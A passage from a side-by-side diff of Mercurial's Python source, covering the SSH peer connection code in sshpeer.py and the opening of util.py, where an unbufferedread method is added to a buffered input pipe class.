549 if self._autoreadstderr:
560 if self._autoreadstderr:
550 self._readerr()
561 self._readerr()
551
562
552 class sshv2peer(sshv1peer):
563 class sshv2peer(sshv1peer):
553 """A peer that speakers version 2 of the transport protocol."""
564 """A peer that speakers version 2 of the transport protocol."""
554 # Currently version 2 is identical to version 1 post handshake.
565 # Currently version 2 is identical to version 1 post handshake.
555 # And handshake is performed before the peer is instantiated. So
566 # And handshake is performed before the peer is instantiated. So
556 # we need no custom code.
567 # we need no custom code.
557
568
558 def makepeer(ui, path, proc, stdin, stdout, stderr, autoreadstderr=True):
569 def makepeer(ui, path, proc, stdin, stdout, stderr, autoreadstderr=True):
559 """Make a peer instance from existing pipes.
570 """Make a peer instance from existing pipes.
560
571
561 ``path`` and ``proc`` are stored on the eventual peer instance and may
572 ``path`` and ``proc`` are stored on the eventual peer instance and may
562 not be used for anything meaningful.
573 not be used for anything meaningful.
563
574
564 ``stdin``, ``stdout``, and ``stderr`` are the pipes connected to the
575 ``stdin``, ``stdout``, and ``stderr`` are the pipes connected to the
565 SSH server's stdio handles.
576 SSH server's stdio handles.
566
577
567 This function is factored out to allow creating peers that don't
578 This function is factored out to allow creating peers that don't
568 actually spawn a new process. It is useful for starting SSH protocol
579 actually spawn a new process. It is useful for starting SSH protocol
569 servers and clients via non-standard means, which can be useful for
580 servers and clients via non-standard means, which can be useful for
570 testing.
581 testing.
571 """
582 """
572 try:
583 try:
573 protoname, caps = _performhandshake(ui, stdin, stdout, stderr)
584 protoname, caps = _performhandshake(ui, stdin, stdout, stderr)
574 except Exception:
585 except Exception:
575 _cleanuppipes(ui, stdout, stdin, stderr)
586 _cleanuppipes(ui, stdout, stdin, stderr)
576 raise
587 raise
577
588
578 if protoname == wireprototypes.SSHV1:
589 if protoname == wireprototypes.SSHV1:
579 return sshv1peer(ui, path, proc, stdin, stdout, stderr, caps,
590 return sshv1peer(ui, path, proc, stdin, stdout, stderr, caps,
580 autoreadstderr=autoreadstderr)
591 autoreadstderr=autoreadstderr)
581 elif protoname == wireprototypes.SSHV2:
592 elif protoname == wireprototypes.SSHV2:
582 return sshv2peer(ui, path, proc, stdin, stdout, stderr, caps,
593 return sshv2peer(ui, path, proc, stdin, stdout, stderr, caps,
583 autoreadstderr=autoreadstderr)
594 autoreadstderr=autoreadstderr)
584 else:
595 else:
585 _cleanuppipes(ui, stdout, stdin, stderr)
596 _cleanuppipes(ui, stdout, stdin, stderr)
586 raise error.RepoError(_('unknown version of SSH protocol: %s') %
597 raise error.RepoError(_('unknown version of SSH protocol: %s') %
587 protoname)
598 protoname)
588
599
589 def instance(ui, path, create, intents=None):
600 def instance(ui, path, create, intents=None):
590 """Create an SSH peer.
601 """Create an SSH peer.
591
602
592 The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
603 The returned object conforms to the ``wireprotov1peer.wirepeer`` interface.
593 """
604 """
594 u = util.url(path, parsequery=False, parsefragment=False)
605 u = util.url(path, parsequery=False, parsefragment=False)
595 if u.scheme != 'ssh' or not u.host or u.path is None:
606 if u.scheme != 'ssh' or not u.host or u.path is None:
596 raise error.RepoError(_("couldn't parse location %s") % path)
607 raise error.RepoError(_("couldn't parse location %s") % path)
597
608
598 util.checksafessh(path)
609 util.checksafessh(path)
599
610
600 if u.passwd is not None:
611 if u.passwd is not None:
601 raise error.RepoError(_('password in URL not supported'))
612 raise error.RepoError(_('password in URL not supported'))
602
613
603 sshcmd = ui.config('ui', 'ssh')
614 sshcmd = ui.config('ui', 'ssh')
604 remotecmd = ui.config('ui', 'remotecmd')
615 remotecmd = ui.config('ui', 'remotecmd')
605 sshaddenv = dict(ui.configitems('sshenv'))
616 sshaddenv = dict(ui.configitems('sshenv'))
606 sshenv = procutil.shellenviron(sshaddenv)
617 sshenv = procutil.shellenviron(sshaddenv)
607 remotepath = u.path or '.'
618 remotepath = u.path or '.'
608
619
609 args = procutil.sshargs(sshcmd, u.host, u.user, u.port)
620 args = procutil.sshargs(sshcmd, u.host, u.user, u.port)
610
621
611 if create:
622 if create:
612 cmd = '%s %s %s' % (sshcmd, args,
623 cmd = '%s %s %s' % (sshcmd, args,
613 procutil.shellquote('%s init %s' %
624 procutil.shellquote('%s init %s' %
614 (_serverquote(remotecmd), _serverquote(remotepath))))
625 (_serverquote(remotecmd), _serverquote(remotepath))))
615 ui.debug('running %s\n' % cmd)
626 ui.debug('running %s\n' % cmd)
616 res = ui.system(cmd, blockedtag='sshpeer', environ=sshenv)
627 res = ui.system(cmd, blockedtag='sshpeer', environ=sshenv)
617 if res != 0:
628 if res != 0:
618 raise error.RepoError(_('could not create remote repo'))
629 raise error.RepoError(_('could not create remote repo'))
619
630
620 proc, stdin, stdout, stderr = _makeconnection(ui, sshcmd, args, remotecmd,
631 proc, stdin, stdout, stderr = _makeconnection(ui, sshcmd, args, remotecmd,
621 remotepath, sshenv)
632 remotepath, sshenv)
622
633
623 peer = makepeer(ui, path, proc, stdin, stdout, stderr)
634 peer = makepeer(ui, path, proc, stdin, stdout, stderr)
624
635
625 # Finally, if supported by the server, notify it about our own
636 # Finally, if supported by the server, notify it about our own
626 # capabilities.
637 # capabilities.
627 if 'protocaps' in peer.capabilities():
638 if 'protocaps' in peer.capabilities():
628 try:
639 try:
629 peer._call("protocaps",
640 peer._call("protocaps",
630 caps=' '.join(sorted(_clientcapabilities())))
641 caps=' '.join(sorted(_clientcapabilities())))
631 except IOError:
642 except IOError:
632 peer._cleanup()
643 peer._cleanup()
633 raise error.RepoError(_('capability exchange failed'))
644 raise error.RepoError(_('capability exchange failed'))
634
645
635 return peer
646 return peer
@@ -1,3757 +1,3838 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37 import zlib
37 import zlib
38
38
39 from . import (
39 from . import (
40 encoding,
40 encoding,
41 error,
41 error,
42 i18n,
42 i18n,
43 node as nodemod,
43 node as nodemod,
44 policy,
44 policy,
45 pycompat,
45 pycompat,
46 urllibcompat,
46 urllibcompat,
47 )
47 )
48 from .utils import (
48 from .utils import (
49 procutil,
49 procutil,
50 stringutil,
50 stringutil,
51 )
51 )
52
52
53 base85 = policy.importmod(r'base85')
53 base85 = policy.importmod(r'base85')
54 osutil = policy.importmod(r'osutil')
54 osutil = policy.importmod(r'osutil')
55 parsers = policy.importmod(r'parsers')
55 parsers = policy.importmod(r'parsers')
56
56
57 b85decode = base85.b85decode
57 b85decode = base85.b85decode
58 b85encode = base85.b85encode
58 b85encode = base85.b85encode
59
59
60 cookielib = pycompat.cookielib
60 cookielib = pycompat.cookielib
61 httplib = pycompat.httplib
61 httplib = pycompat.httplib
62 pickle = pycompat.pickle
62 pickle = pycompat.pickle
63 safehasattr = pycompat.safehasattr
63 safehasattr = pycompat.safehasattr
64 socketserver = pycompat.socketserver
64 socketserver = pycompat.socketserver
65 bytesio = pycompat.bytesio
65 bytesio = pycompat.bytesio
66 # TODO deprecate stringio name, as it is a lie on Python 3.
66 # TODO deprecate stringio name, as it is a lie on Python 3.
67 stringio = bytesio
67 stringio = bytesio
68 xmlrpclib = pycompat.xmlrpclib
68 xmlrpclib = pycompat.xmlrpclib
69
69
70 httpserver = urllibcompat.httpserver
70 httpserver = urllibcompat.httpserver
71 urlerr = urllibcompat.urlerr
71 urlerr = urllibcompat.urlerr
72 urlreq = urllibcompat.urlreq
72 urlreq = urllibcompat.urlreq
73
73
74 # workaround for win32mbcs
74 # workaround for win32mbcs
75 _filenamebytestr = pycompat.bytestr
75 _filenamebytestr = pycompat.bytestr
76
76
77 if pycompat.iswindows:
77 if pycompat.iswindows:
78 from . import windows as platform
78 from . import windows as platform
79 else:
79 else:
80 from . import posix as platform
80 from . import posix as platform
81
81
82 _ = i18n._
82 _ = i18n._
83
83
84 bindunixsocket = platform.bindunixsocket
84 bindunixsocket = platform.bindunixsocket
85 cachestat = platform.cachestat
85 cachestat = platform.cachestat
86 checkexec = platform.checkexec
86 checkexec = platform.checkexec
87 checklink = platform.checklink
87 checklink = platform.checklink
88 copymode = platform.copymode
88 copymode = platform.copymode
89 expandglobs = platform.expandglobs
89 expandglobs = platform.expandglobs
90 getfsmountpoint = platform.getfsmountpoint
90 getfsmountpoint = platform.getfsmountpoint
91 getfstype = platform.getfstype
91 getfstype = platform.getfstype
92 groupmembers = platform.groupmembers
92 groupmembers = platform.groupmembers
93 groupname = platform.groupname
93 groupname = platform.groupname
94 isexec = platform.isexec
94 isexec = platform.isexec
95 isowner = platform.isowner
95 isowner = platform.isowner
96 listdir = osutil.listdir
96 listdir = osutil.listdir
97 localpath = platform.localpath
97 localpath = platform.localpath
98 lookupreg = platform.lookupreg
98 lookupreg = platform.lookupreg
99 makedir = platform.makedir
99 makedir = platform.makedir
100 nlinks = platform.nlinks
100 nlinks = platform.nlinks
101 normpath = platform.normpath
101 normpath = platform.normpath
102 normcase = platform.normcase
102 normcase = platform.normcase
103 normcasespec = platform.normcasespec
103 normcasespec = platform.normcasespec
104 normcasefallback = platform.normcasefallback
104 normcasefallback = platform.normcasefallback
105 openhardlinks = platform.openhardlinks
105 openhardlinks = platform.openhardlinks
106 oslink = platform.oslink
106 oslink = platform.oslink
107 parsepatchoutput = platform.parsepatchoutput
107 parsepatchoutput = platform.parsepatchoutput
108 pconvert = platform.pconvert
108 pconvert = platform.pconvert
109 poll = platform.poll
109 poll = platform.poll
110 posixfile = platform.posixfile
110 posixfile = platform.posixfile
111 rename = platform.rename
111 rename = platform.rename
112 removedirs = platform.removedirs
112 removedirs = platform.removedirs
113 samedevice = platform.samedevice
113 samedevice = platform.samedevice
114 samefile = platform.samefile
114 samefile = platform.samefile
115 samestat = platform.samestat
115 samestat = platform.samestat
116 setflags = platform.setflags
116 setflags = platform.setflags
117 split = platform.split
117 split = platform.split
118 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
118 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
119 statisexec = platform.statisexec
119 statisexec = platform.statisexec
120 statislink = platform.statislink
120 statislink = platform.statislink
121 umask = platform.umask
121 umask = platform.umask
122 unlink = platform.unlink
122 unlink = platform.unlink
123 username = platform.username
123 username = platform.username
124
124
125 try:
125 try:
126 recvfds = osutil.recvfds
126 recvfds = osutil.recvfds
127 except AttributeError:
127 except AttributeError:
128 pass
128 pass
129
129
130 # Python compatibility
130 # Python compatibility
131
131
132 _notset = object()
132 _notset = object()
133
133
134 def bitsfrom(container):
134 def bitsfrom(container):
135 bits = 0
135 bits = 0
136 for bit in container:
136 for bit in container:
137 bits |= bit
137 bits |= bit
138 return bits
138 return bits
139
139
140 # python 2.6 still have deprecation warning enabled by default. We do not want
140 # python 2.6 still have deprecation warning enabled by default. We do not want
141 # to display anything to standard user so detect if we are running test and
141 # to display anything to standard user so detect if we are running test and
142 # only use python deprecation warning in this case.
142 # only use python deprecation warning in this case.
143 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
143 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
144 if _dowarn:
144 if _dowarn:
145 # explicitly unfilter our warning for python 2.7
145 # explicitly unfilter our warning for python 2.7
146 #
146 #
147 # The option of setting PYTHONWARNINGS in the test runner was investigated.
147 # The option of setting PYTHONWARNINGS in the test runner was investigated.
148 # However, module name set through PYTHONWARNINGS was exactly matched, so
148 # However, module name set through PYTHONWARNINGS was exactly matched, so
149 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
149 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
150 # makes the whole PYTHONWARNINGS thing useless for our usecase.
150 # makes the whole PYTHONWARNINGS thing useless for our usecase.
151 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
151 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
152 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
152 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
153 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
153 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
154 if _dowarn and pycompat.ispy3:
154 if _dowarn and pycompat.ispy3:
155 # silence warning emitted by passing user string to re.sub()
155 # silence warning emitted by passing user string to re.sub()
156 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
156 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
157 r'mercurial')
157 r'mercurial')
158 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
158 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
159 DeprecationWarning, r'mercurial')
159 DeprecationWarning, r'mercurial')
160 # TODO: reinvent imp.is_frozen()
160 # TODO: reinvent imp.is_frozen()
161 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
161 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
162 DeprecationWarning, r'mercurial')
162 DeprecationWarning, r'mercurial')
163
163
164 def nouideprecwarn(msg, version, stacklevel=1):
164 def nouideprecwarn(msg, version, stacklevel=1):
165 """Issue an python native deprecation warning
165 """Issue an python native deprecation warning
166
166
167 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
167 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
168 """
168 """
169 if _dowarn:
169 if _dowarn:
170 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
170 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
171 " update your code.)") % version
171 " update your code.)") % version
172 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
172 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
173
173
174 DIGESTS = {
174 DIGESTS = {
175 'md5': hashlib.md5,
175 'md5': hashlib.md5,
176 'sha1': hashlib.sha1,
176 'sha1': hashlib.sha1,
177 'sha512': hashlib.sha512,
177 'sha512': hashlib.sha512,
178 }
178 }
179 # List of digest types from strongest to weakest
179 # List of digest types from strongest to weakest
180 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
180 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
181
181
182 for k in DIGESTS_BY_STRENGTH:
182 for k in DIGESTS_BY_STRENGTH:
183 assert k in DIGESTS
183 assert k in DIGESTS
184
184
185 class digester(object):
185 class digester(object):
186 """helper to compute digests.
186 """helper to compute digests.
187
187
188 This helper can be used to compute one or more digests given their name.
188 This helper can be used to compute one or more digests given their name.
189
189
190 >>> d = digester([b'md5', b'sha1'])
190 >>> d = digester([b'md5', b'sha1'])
191 >>> d.update(b'foo')
191 >>> d.update(b'foo')
192 >>> [k for k in sorted(d)]
192 >>> [k for k in sorted(d)]
193 ['md5', 'sha1']
193 ['md5', 'sha1']
194 >>> d[b'md5']
194 >>> d[b'md5']
195 'acbd18db4cc2f85cedef654fccc4a4d8'
195 'acbd18db4cc2f85cedef654fccc4a4d8'
196 >>> d[b'sha1']
196 >>> d[b'sha1']
197 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
197 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
198 >>> digester.preferred([b'md5', b'sha1'])
198 >>> digester.preferred([b'md5', b'sha1'])
199 'sha1'
199 'sha1'
200 """
200 """
201
201
202 def __init__(self, digests, s=''):
202 def __init__(self, digests, s=''):
203 self._hashes = {}
203 self._hashes = {}
204 for k in digests:
204 for k in digests:
205 if k not in DIGESTS:
205 if k not in DIGESTS:
206 raise error.Abort(_('unknown digest type: %s') % k)
206 raise error.Abort(_('unknown digest type: %s') % k)
207 self._hashes[k] = DIGESTS[k]()
207 self._hashes[k] = DIGESTS[k]()
208 if s:
208 if s:
209 self.update(s)
209 self.update(s)
210
210
211 def update(self, data):
211 def update(self, data):
212 for h in self._hashes.values():
212 for h in self._hashes.values():
213 h.update(data)
213 h.update(data)
214
214
215 def __getitem__(self, key):
215 def __getitem__(self, key):
216 if key not in DIGESTS:
216 if key not in DIGESTS:
217 raise error.Abort(_('unknown digest type: %s') % k)
217 raise error.Abort(_('unknown digest type: %s') % k)
218 return nodemod.hex(self._hashes[key].digest())
218 return nodemod.hex(self._hashes[key].digest())
219
219
220 def __iter__(self):
220 def __iter__(self):
221 return iter(self._hashes)
221 return iter(self._hashes)
222
222
223 @staticmethod
223 @staticmethod
224 def preferred(supported):
224 def preferred(supported):
225 """returns the strongest digest type in both supported and DIGESTS."""
225 """returns the strongest digest type in both supported and DIGESTS."""
226
226
227 for k in DIGESTS_BY_STRENGTH:
227 for k in DIGESTS_BY_STRENGTH:
228 if k in supported:
228 if k in supported:
229 return k
229 return k
230 return None
230 return None
231
231
232 class digestchecker(object):
232 class digestchecker(object):
233 """file handle wrapper that additionally checks content against a given
233 """file handle wrapper that additionally checks content against a given
234 size and digests.
234 size and digests.
235
235
236 d = digestchecker(fh, size, {'md5': '...'})
236 d = digestchecker(fh, size, {'md5': '...'})
237
237
238 When multiple digests are given, all of them are validated.
238 When multiple digests are given, all of them are validated.
239 """
239 """
240
240
241 def __init__(self, fh, size, digests):
241 def __init__(self, fh, size, digests):
242 self._fh = fh
242 self._fh = fh
243 self._size = size
243 self._size = size
244 self._got = 0
244 self._got = 0
245 self._digests = dict(digests)
245 self._digests = dict(digests)
246 self._digester = digester(self._digests.keys())
246 self._digester = digester(self._digests.keys())
247
247
248 def read(self, length=-1):
248 def read(self, length=-1):
249 content = self._fh.read(length)
249 content = self._fh.read(length)
250 self._digester.update(content)
250 self._digester.update(content)
251 self._got += len(content)
251 self._got += len(content)
252 return content
252 return content
253
253
254 def validate(self):
254 def validate(self):
255 if self._size != self._got:
255 if self._size != self._got:
256 raise error.Abort(_('size mismatch: expected %d, got %d') %
256 raise error.Abort(_('size mismatch: expected %d, got %d') %
257 (self._size, self._got))
257 (self._size, self._got))
258 for k, v in self._digests.items():
258 for k, v in self._digests.items():
259 if v != self._digester[k]:
259 if v != self._digester[k]:
260 # i18n: first parameter is a digest name
260 # i18n: first parameter is a digest name
261 raise error.Abort(_('%s mismatch: expected %s, got %s') %
261 raise error.Abort(_('%s mismatch: expected %s, got %s') %
262 (k, v, self._digester[k]))
262 (k, v, self._digester[k]))
263
263
264 try:
264 try:
265 buffer = buffer
265 buffer = buffer
266 except NameError:
266 except NameError:
267 def buffer(sliceable, offset=0, length=None):
267 def buffer(sliceable, offset=0, length=None):
268 if length is not None:
268 if length is not None:
269 return memoryview(sliceable)[offset:offset + length]
269 return memoryview(sliceable)[offset:offset + length]
270 return memoryview(sliceable)[offset:]
270 return memoryview(sliceable)[offset:]
271
271
272 _chunksize = 4096
272 _chunksize = 4096
273
273
274 class bufferedinputpipe(object):
274 class bufferedinputpipe(object):
275 """a manually buffered input pipe
275 """a manually buffered input pipe
276
276
277 Python will not let us use buffered IO and lazy reading with 'polling' at
277 Python will not let us use buffered IO and lazy reading with 'polling' at
278 the same time. We cannot probe the buffer state and select will not detect
278 the same time. We cannot probe the buffer state and select will not detect
279 that data are ready to read if they are already buffered.
279 that data are ready to read if they are already buffered.
280
280
281 This class let us work around that by implementing its own buffering
281 This class let us work around that by implementing its own buffering
282 (allowing efficient readline) while offering a way to know if the buffer is
282 (allowing efficient readline) while offering a way to know if the buffer is
283 empty from the output (allowing collaboration of the buffer with polling).
283 empty from the output (allowing collaboration of the buffer with polling).
284
284
285 This class lives in the 'util' module because it makes use of the 'os'
285 This class lives in the 'util' module because it makes use of the 'os'
286 module from the python stdlib.
286 module from the python stdlib.
287 """
287 """
288 def __new__(cls, fh):
288 def __new__(cls, fh):
289 # If we receive a fileobjectproxy, we need to use a variation of this
289 # If we receive a fileobjectproxy, we need to use a variation of this
290 # class that notifies observers about activity.
290 # class that notifies observers about activity.
291 if isinstance(fh, fileobjectproxy):
291 if isinstance(fh, fileobjectproxy):
292 cls = observedbufferedinputpipe
292 cls = observedbufferedinputpipe
293
293
294 return super(bufferedinputpipe, cls).__new__(cls)
294 return super(bufferedinputpipe, cls).__new__(cls)
295
295
296 def __init__(self, input):
296 def __init__(self, input):
297 self._input = input
297 self._input = input
298 self._buffer = []
298 self._buffer = []
299 self._eof = False
299 self._eof = False
300 self._lenbuf = 0
300 self._lenbuf = 0
301
301
302 @property
302 @property
303 def hasbuffer(self):
303 def hasbuffer(self):
304 """True is any data is currently buffered
304 """True is any data is currently buffered
305
305
306 This will be used externally a pre-step for polling IO. If there is
306 This will be used externally a pre-step for polling IO. If there is
307 already data then no polling should be set in place."""
307 already data then no polling should be set in place."""
308 return bool(self._buffer)
308 return bool(self._buffer)
309
309
310 @property
310 @property
311 def closed(self):
311 def closed(self):
312 return self._input.closed
312 return self._input.closed
313
313
314 def fileno(self):
314 def fileno(self):
315 return self._input.fileno()
315 return self._input.fileno()
316
316
317 def close(self):
317 def close(self):
318 return self._input.close()
318 return self._input.close()
319
319
320 def read(self, size):
320 def read(self, size):
321 while (not self._eof) and (self._lenbuf < size):
321 while (not self._eof) and (self._lenbuf < size):
322 self._fillbuffer()
322 self._fillbuffer()
323 return self._frombuffer(size)
323 return self._frombuffer(size)
324
324
325 def unbufferedread(self, size):
326 if not self._eof and self._lenbuf == 0:
327 self._fillbuffer(max(size, _chunksize))
328 return self._frombuffer(min(self._lenbuf, size))
329
325 def readline(self, *args, **kwargs):
330 def readline(self, *args, **kwargs):
326 if 1 < len(self._buffer):
331 if 1 < len(self._buffer):
327 # this should not happen because both read and readline end with a
332 # this should not happen because both read and readline end with a
328 # _frombuffer call that collapse it.
333 # _frombuffer call that collapse it.
329 self._buffer = [''.join(self._buffer)]
334 self._buffer = [''.join(self._buffer)]
330 self._lenbuf = len(self._buffer[0])
335 self._lenbuf = len(self._buffer[0])
331 lfi = -1
336 lfi = -1
332 if self._buffer:
337 if self._buffer:
333 lfi = self._buffer[-1].find('\n')
338 lfi = self._buffer[-1].find('\n')
334 while (not self._eof) and lfi < 0:
339 while (not self._eof) and lfi < 0:
335 self._fillbuffer()
340 self._fillbuffer()
336 if self._buffer:
341 if self._buffer:
337 lfi = self._buffer[-1].find('\n')
342 lfi = self._buffer[-1].find('\n')
338 size = lfi + 1
343 size = lfi + 1
339 if lfi < 0: # end of file
344 if lfi < 0: # end of file
340 size = self._lenbuf
345 size = self._lenbuf
341 elif 1 < len(self._buffer):
346 elif 1 < len(self._buffer):
342 # we need to take previous chunks into account
347 # we need to take previous chunks into account
343 size += self._lenbuf - len(self._buffer[-1])
348 size += self._lenbuf - len(self._buffer[-1])
344 return self._frombuffer(size)
349 return self._frombuffer(size)
345
350
346 def _frombuffer(self, size):
351 def _frombuffer(self, size):
347 """return at most 'size' data from the buffer
352 """return at most 'size' data from the buffer
348
353
349 The data are removed from the buffer."""
354 The data are removed from the buffer."""
350 if size == 0 or not self._buffer:
355 if size == 0 or not self._buffer:
351 return ''
356 return ''
352 buf = self._buffer[0]
357 buf = self._buffer[0]
353 if 1 < len(self._buffer):
358 if 1 < len(self._buffer):
354 buf = ''.join(self._buffer)
359 buf = ''.join(self._buffer)
355
360
356 data = buf[:size]
361 data = buf[:size]
357 buf = buf[len(data):]
362 buf = buf[len(data):]
358 if buf:
363 if buf:
359 self._buffer = [buf]
364 self._buffer = [buf]
360 self._lenbuf = len(buf)
365 self._lenbuf = len(buf)
361 else:
366 else:
362 self._buffer = []
367 self._buffer = []
363 self._lenbuf = 0
368 self._lenbuf = 0
364 return data
369 return data
365
370
366 def _fillbuffer(self):
371 def _fillbuffer(self, size=_chunksize):
367 """read data to the buffer"""
372 """read data to the buffer"""
368 data = os.read(self._input.fileno(), _chunksize)
373 data = os.read(self._input.fileno(), size)
369 if not data:
374 if not data:
370 self._eof = True
375 self._eof = True
371 else:
376 else:
372 self._lenbuf += len(data)
377 self._lenbuf += len(data)
373 self._buffer.append(data)
378 self._buffer.append(data)
374
379
375 return data
380 return data
376
381
377 def mmapread(fp):
382 def mmapread(fp):
378 try:
383 try:
379 fd = getattr(fp, 'fileno', lambda: fp)()
384 fd = getattr(fp, 'fileno', lambda: fp)()
380 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
385 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
381 except ValueError:
386 except ValueError:
382 # Empty files cannot be mmapped, but mmapread should still work. Check
387 # Empty files cannot be mmapped, but mmapread should still work. Check
383 # if the file is empty, and if so, return an empty buffer.
388 # if the file is empty, and if so, return an empty buffer.
384 if os.fstat(fd).st_size == 0:
389 if os.fstat(fd).st_size == 0:
385 return ''
390 return ''
386 raise
391 raise
387
392
388 class fileobjectproxy(object):
393 class fileobjectproxy(object):
389 """A proxy around file objects that tells a watcher when events occur.
394 """A proxy around file objects that tells a watcher when events occur.
390
395
391 This type is intended to only be used for testing purposes. Think hard
396 This type is intended to only be used for testing purposes. Think hard
392 before using it in important code.
397 before using it in important code.
393 """
398 """
394 __slots__ = (
399 __slots__ = (
395 r'_orig',
400 r'_orig',
396 r'_observer',
401 r'_observer',
397 )
402 )
398
403
399 def __init__(self, fh, observer):
404 def __init__(self, fh, observer):
400 object.__setattr__(self, r'_orig', fh)
405 object.__setattr__(self, r'_orig', fh)
401 object.__setattr__(self, r'_observer', observer)
406 object.__setattr__(self, r'_observer', observer)
402
407
403 def __getattribute__(self, name):
408 def __getattribute__(self, name):
404 ours = {
409 ours = {
405 r'_observer',
410 r'_observer',
406
411
407 # IOBase
412 # IOBase
408 r'close',
413 r'close',
409 # closed if a property
414 # closed if a property
410 r'fileno',
415 r'fileno',
411 r'flush',
416 r'flush',
412 r'isatty',
417 r'isatty',
413 r'readable',
418 r'readable',
414 r'readline',
419 r'readline',
415 r'readlines',
420 r'readlines',
416 r'seek',
421 r'seek',
417 r'seekable',
422 r'seekable',
418 r'tell',
423 r'tell',
419 r'truncate',
424 r'truncate',
420 r'writable',
425 r'writable',
421 r'writelines',
426 r'writelines',
422 # RawIOBase
427 # RawIOBase
423 r'read',
428 r'read',
424 r'readall',
429 r'readall',
425 r'readinto',
430 r'readinto',
426 r'write',
431 r'write',
427 # BufferedIOBase
432 # BufferedIOBase
428 # raw is a property
433 # raw is a property
429 r'detach',
434 r'detach',
430 # read defined above
435 # read defined above
431 r'read1',
436 r'read1',
432 # readinto defined above
437 # readinto defined above
433 # write defined above
438 # write defined above
434 }
439 }
435
440
436 # We only observe some methods.
441 # We only observe some methods.
437 if name in ours:
442 if name in ours:
438 return object.__getattribute__(self, name)
443 return object.__getattribute__(self, name)
439
444
440 return getattr(object.__getattribute__(self, r'_orig'), name)
445 return getattr(object.__getattribute__(self, r'_orig'), name)
441
446
442 def __nonzero__(self):
447 def __nonzero__(self):
443 return bool(object.__getattribute__(self, r'_orig'))
448 return bool(object.__getattribute__(self, r'_orig'))
444
449
445 __bool__ = __nonzero__
450 __bool__ = __nonzero__
446
451
447 def __delattr__(self, name):
452 def __delattr__(self, name):
448 return delattr(object.__getattribute__(self, r'_orig'), name)
453 return delattr(object.__getattribute__(self, r'_orig'), name)
449
454
450 def __setattr__(self, name, value):
455 def __setattr__(self, name, value):
451 return setattr(object.__getattribute__(self, r'_orig'), name, value)
456 return setattr(object.__getattribute__(self, r'_orig'), name, value)
452
457
453 def __iter__(self):
458 def __iter__(self):
454 return object.__getattribute__(self, r'_orig').__iter__()
459 return object.__getattribute__(self, r'_orig').__iter__()
455
460
456 def _observedcall(self, name, *args, **kwargs):
461 def _observedcall(self, name, *args, **kwargs):
457 # Call the original object.
462 # Call the original object.
458 orig = object.__getattribute__(self, r'_orig')
463 orig = object.__getattribute__(self, r'_orig')
459 res = getattr(orig, name)(*args, **kwargs)
464 res = getattr(orig, name)(*args, **kwargs)
460
465
461 # Call a method on the observer of the same name with arguments
466 # Call a method on the observer of the same name with arguments
462 # so it can react, log, etc.
467 # so it can react, log, etc.
463 observer = object.__getattribute__(self, r'_observer')
468 observer = object.__getattribute__(self, r'_observer')
464 fn = getattr(observer, name, None)
469 fn = getattr(observer, name, None)
465 if fn:
470 if fn:
466 fn(res, *args, **kwargs)
471 fn(res, *args, **kwargs)
467
472
468 return res
473 return res
469
474
470 def close(self, *args, **kwargs):
475 def close(self, *args, **kwargs):
471 return object.__getattribute__(self, r'_observedcall')(
476 return object.__getattribute__(self, r'_observedcall')(
472 r'close', *args, **kwargs)
477 r'close', *args, **kwargs)
473
478
474 def fileno(self, *args, **kwargs):
479 def fileno(self, *args, **kwargs):
